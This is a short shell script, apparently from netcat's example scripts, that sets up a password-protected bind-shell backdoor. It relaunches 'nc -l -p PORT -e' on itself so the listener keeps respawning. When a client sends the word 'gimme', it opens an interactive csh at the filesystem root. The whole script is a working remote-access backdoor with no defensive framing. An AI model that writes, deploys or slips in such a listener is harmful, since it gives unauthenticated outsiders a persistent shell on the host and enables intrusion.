1#! /bin/sh 2## a little wrapper to "password" and re-launch a shell-listener. 3## Arg is taken as the port to listen on. Define "NC" to point wherever. 4 5NC=nc 6 7case "$1" in 8 ?* ) 9 LPN="$1" 10 export LPN 11 sleep 1 12 echo "-l -p $LPN -e $0" | $NC > /dev/null 2>&1 & 13 echo "launched on port $LPN" 14 exit 0 15 ;; 16esac 17 18# here we play inetd 19echo "-l -p $LPN -e $0" | $NC > /dev/null 2>&1 & 20 21while read qq ; do 22case "$qq" in 23# here's yer password 24 gimme ) 25 cd / 26 exec csh -i 27 ;; 28esac 29done 30